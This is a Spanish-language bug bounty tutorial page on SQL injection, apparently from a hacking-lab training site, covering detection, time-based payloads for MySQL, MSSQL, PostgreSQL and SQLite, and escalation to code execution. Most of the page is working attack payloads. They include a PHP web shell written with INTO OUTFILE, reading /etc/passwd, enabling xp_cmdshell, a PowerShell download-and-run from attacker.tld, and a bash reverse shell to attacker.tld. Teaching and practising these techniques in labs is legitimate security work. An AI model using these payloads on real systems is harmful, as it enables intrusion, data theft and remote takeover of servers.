Respuesta rápida
SQLi sigue activo en 2026 — mucho menos común en SaaS modernos pero abundante en apps legacy, panels de admin y campos cross-validados parcialmente. La metodología es: detectar (isomorphic queries) → confirmar (time-based en el motor identificado) → extraer (UNION o boolean-based) → escalar (RCE via OUTFILE, xp_cmdshell o UDFs). Bounties típicos: €1.000-€5.000+ según severidad.
Detección — isomorphic queries
Antes de payloads agresivos, prueba inputs equivalentes que solo dan el mismo resultado si la query se ejecuta:
| Contexto | Test A | Test B (isomorphic) | Signal |
|---|---|---|---|
| Numérico | id=1 | id=2-1 | Aritmética se ejecuta |
| Numérico | id=1 | id=1+'' | Concat string se ejecuta |
| LIKE | q=Big | q=Big%% | Wildcard % no escapado |
| String | name=Big | name=Big' ' | Quote no escapado |
Doble % exitoso revela contexto LIKE (no WHERE =). Más ligero, menos detección WAF, identifica el contexto exacto antes de tirar payloads.
Time-based payloads por motor
MySQL
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -
MSSQL
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -
PostgreSQL
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -
SQLite
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -
Mide la latencia: 200ms → 5+s confirma ejecución. Repite 3 veces para descartar falso positivo por jitter de red.
Identificación del motor
Después de confirmar SQLi, identifica:
| Test | Si responde rápido | Engine |
|---|---|---|
version() | string | MySQL/PostgreSQL |
@@version | MSSQL version | MSSQL |
sqlite_version() | "3.x" | SQLite |
' UNION SELECT @@version-- | string en respuesta | MySQL/MSSQL |
' AND 1=1::int-- | OK | PostgreSQL |
Identificación precisa del motor desbloquea los payloads correctos.
SQL → RCE
Cuando consigues SQLi en un endpoint con permisos suficientes, es RCE en el server. Por motor:
MySQL — INTO OUTFILE web shell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Requisitos: privilegio FILE, conocer un path escribible servido por el web server.
MySQL — LOAD_FILE
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- - # hex bypass de filtros
MSSQL — xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -
Si xp_cmdshell está deshabilitado, suele bastar reconfigurar (algunos accounts SQL tienen permisos de sp_configure).
PostgreSQL — COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -
PostgreSQL — UDF C
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');
Requiere permisos altos (SUPERUSER).
Bypass cross-field — el caso del enrollment
Cuando los filtros se aplican parcialmente en campos diferentes:
- Campo A (
enrollmentNumber): enforce longitud exacta de 6 caracteres. - Campo B (
nationalId): eliminan comillas simples y dobles.
enrollmentNumber = 'OR '' (6 chars exactos, satisface length)
nationalId = =2 UNION SELECT CONCAT(...)-- - (sin comillas, pasa quote filter)
La query original:
WHERE a.enrollmentNumber = '$enrollmentNumber'
AND a.nationalId = '$nationalId'
Con la inyección:
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
enrollmentNumber=''→ false.OR '''→ cierra y reabre comillas, convierteAND a.nationalId='en string.- El contenido del
nationalId(sin comillas) se ejecuta como SQL.
UNION sin comillas usando CHAR():
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -
Patrón a buscar: apps con múltiples campos donde cada uno tiene validaciones diferentes. Los filtros parciales en campos separados se combinan para bypass completo.
PostgreSQL double-dash injection
Caso curioso: parámetro numérico negativo en operación aritmética.
SELECT balance - ? FROM accounts -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)
Requisitos:
- PostgreSQL (no MySQL/SQLite).
- Simple query protocol (no extended/prepared statements).
- Parámetro numérico en contexto aritmético (
balance - ?).
Escalación con multi-line string + newline en otro parámetro rompe el comment y permite inyectar SQL arbitrario.
Fix correcto: envolver negativos en paréntesis (-42).
Metodología de hunting
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible
Burp + sqlmap útil para automatizar partes, pero manual primero para identificar el contexto.
Hunting checklist
- ¿Hay endpoints donde el ID viaja en URL/body sin parametrización clara?
- ¿La app tiene admin panels o legacy modules con SQL directo?
- ¿Los errores son verbose con stack traces de DB?
- ¿Búsquedas con
LIKE(q=)? Probar wildcards y comillas. - ¿Parámetros numéricos en operaciones aritméticas? (postgres double-dash).
- ¿Múltiples campos con validaciones distintas? → cross-field bypass.
Labs relacionados
Practica time-based, UNION extraction y SQLi → RCE en apps con cuatro motores: labs de SQL Injection.
Practica esto en un lab
Sqli
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.
SSTI — Server-Side Template Injection en Jinja2, Twig, Velocity y Freemarker
Detección con polyglots, identificación del engine, escalación a RCE en Jinja2/Python, Twig/PHP, Velocity/Java. Patrones donde se mete user input en templates.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.